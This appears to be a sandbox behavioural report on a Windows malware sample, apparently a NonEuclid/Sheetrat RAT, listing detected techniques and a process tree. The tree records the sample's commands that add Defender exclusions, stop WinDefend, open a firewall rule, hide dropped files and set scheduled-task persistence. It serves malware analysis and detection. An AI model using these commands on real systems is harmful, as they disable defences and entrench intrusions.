Analysis
- max time kernel
151s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
31/07/2026, 07:42
General
- Target 2026-07-31_2ada55d4eeb3bfb6e064fd420d32304b_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
- Size 12.5MB
- Sample260731-jjs87afa74
- SHA256 d224de6205bba9b14084e225282b70190d77ea04be31be0bf3a74aad01f6bfb7
Malware Config
Signatures
- Family: Sheetrat, NonEuclid rat
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Detects Sheetrat Payload 2 IoCs
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
- Modifies security service 2 TTPs 1 IoCs
- UAC bypass 3 TTPs 8 IoCs
- Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 2 IoCs
- Detects executables (downlaoders) containing URLs to raw contents of a paste 2 IoCs
- Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Drops file in Drivers directory 7 IoCs
- Executes dropped EXE 44 IoCs
- Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
- Loads dropped DLL 64 IoCs
- Stops running service(s) 4 TTPs
- Windows security modification 2 TTPs 2 IoCs
- Checks whether UAC is enabled 1 TTPs 4 IoCs
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 3 IoCs
- Hide Artifacts: Hidden Files and Directories 1 TTPs 4 IoCs
- Drops file in Program Files directory 1 IoCs
- Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 64 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 11 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
- Modifies data under HKEY_USERS 18 IoCs
- Modifies registry class 15 IoCs
- NTFS ADS 1 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 12 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 4 IoCs
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-07-31_2ada55d4eeb3bfb6e064fd420d32304b_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-31_2ada55d4eeb3bfb6e064fd420d32304b_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-07-31_2ada55d4eeb3bfb6e064fd420d32304b_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-31_2ada55d4eeb3bfb6e064fd420d32304b_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Local\Temp\winsvc32.exe""4⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Local\Temp\winsvc32.exe"5⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Local\Temp\msvcrt64.exe""4⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Local\Temp\msvcrt64.exe"5⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\winsvc32.exe""4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\winsvc32.exe"C:\Users\Admin\AppData\Local\Temp\winsvc32.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\winsvc32.exe"C:\Users\Admin\AppData\Local\Temp\winsvc32.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"8⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\drivers'""7⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\drivers'"8⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe""7⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe"8⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Local\Temp\svcsync.exe""7⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Local\Temp\svcsync.exe"8⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe""7⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe"C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe"8⤵
- Drops file in Drivers directory
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\drivers'"9⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /TN "WinUpdateTask" /TR "\"C:\Windows\System32\drivers\etc\WinUpdate\WinUpdate.exe\"" /SC ONLOGON /RL HIGHEST /F9⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /TN "WinLogsTask" /TR "\"C:\Windows\System32\drivers\etc\WinLogs\svcsync.exe\"" /SC ONLOGON /RL HIGHEST /F9⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\drivers\etc\WinLogs\svcsync.exe"C:\Windows\System32\drivers\etc\WinLogs\svcsync.exe"9⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\drivers\etc\WinUpdate\WinUpdate.exe"C:\Windows\System32\drivers\etc\WinUpdate\WinUpdate.exe"9⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /TN "WinUpdateTask" /TR "\"C:\Windows\System32\drivers\etc\WinUpdate\WinUpdate.exe\"" /SC ONLOGON /RL HIGHEST /F10⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /TN "WinLogsTask" /TR "\"C:\Windows\System32\drivers\etc\WinLogs\svcsync.exe\"" /SC ONLOGON /RL HIGHEST /F10⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "cmd /c ping 127.0.0.1 -n 16 >nul & del /f /q "C:\Users\Admin\AppData\Local\Temp\winsvc32.exe""7⤵
- Loads dropped DLL
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c ping 127.0.0.1 -n 168⤵
- Loads dropped DLL
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 169⤵
- Loads dropped DLL
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\msvcrt64.exe""4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\msvcrt64.exe"C:\Users\Admin\AppData\Local\Temp\msvcrt64.exe"5⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- UAC bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SYSTEM32\sc.exe"sc" stop WinDefend6⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc" config WinDefend start= demand6⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol E: /S6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mountvol.exemountvol E: /S7⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol E: /D6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mountvol.exemountvol E: /D7⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol F: /S6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mountvol.exemountvol F: /S7⤵
-
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Users\Admin\AppData\Local\Runtime Broker.exe" enable=yes & exit6⤵
- Loads dropped DLL
- System Time Discovery
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" /c schtasks /delete /F /TN "cmd" & exit6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /delete /F /TN "cmd"7⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /tn "cmd" /tr "C:\Users\Admin\AppData\Local\Runtime Broker.exe" & exit6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /tn "cmd" /tr "C:\Users\Admin\AppData\Local\Runtime Broker.exe"7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop WinDefend6⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc" config WinDefend start= demand6⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol F: /D6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mountvol.exemountvol F: /D7⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol G: /S6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mountvol.exemountvol G: /S7⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop WinDefend6⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc" config WinDefend start= demand6⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol G: /D6⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol G: /D7⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol H: /S6⤵
-
C:\Windows\system32\mountvol.exemountvol H: /S7⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "svchost" /tr "C:\Program Files\conhost" /RL HIGHEST & exit6⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "svchost" /tr "C:\Program Files\conhost" /RL HIGHEST7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol H: /D6⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol H: /D7⤵
-
-
-
C:\Users\Admin\AppData\Local\Runtime Broker.exe"C:\Users\Admin\AppData\Local\Runtime Broker.exe"6⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Executes dropped EXE
- Checks whether UAC is enabled
- System policy modification
-
C:\Windows\SYSTEM32\CMD.exe"CMD" /c schtasks /delete /F /TN "cmd" & exit7⤵
-
C:\Windows\system32\schtasks.exeschtasks /delete /F /TN "cmd"8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /tn "cmd" /tr "C:\Users\Admin\AppData\Local\Runtime Broker.exe" & exit7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /tn "cmd" /tr "C:\Users\Admin\AppData\Local\Runtime Broker.exe"8⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol E: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol E: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol E: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol E: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol F: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol F: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol F: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol F: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol G: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol G: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol G: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol G: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol H: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol H: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol H: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol H: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol I: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol I: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol I: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol I: /D8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol J: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol J: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol J: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol J: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol K: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol K: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol K: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol K: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol L: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol L: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol L: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol L: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol M: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol M: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol M: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol M: /D8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol N: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol N: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol N: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol N: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol O: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol O: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol O: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol O: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol P: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol P: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol P: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol P: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Q: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol Q: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Q: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol Q: /D8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol R: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol R: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol R: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol R: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol S: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol S: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol S: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol S: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol T: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol T: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol T: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol T: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol U: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol U: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol U: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol U: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol V: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol V: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol V: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol V: /D8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol W: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol W: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol W: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol W: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol X: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol X: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol X: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol X: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Y: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol Y: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Y: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol Y: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol E: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol E: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol E: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol E: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol F: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol F: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol F: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol F: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol G: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol G: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol G: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol G: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol H: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol H: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol H: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol H: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol I: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol I: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol I: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol I: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol J: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol J: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol J: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol J: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol K: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol K: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol K: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol K: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol L: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol L: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol L: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol L: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol M: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol M: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol M: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol M: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol N: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol N: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol N: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol N: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol O: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol O: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol O: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol O: /D8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol P: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol P: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol P: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol P: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Q: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol Q: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Q: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol Q: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol R: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol R: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol R: /D7⤵
- Executes a command shell one-liner
-
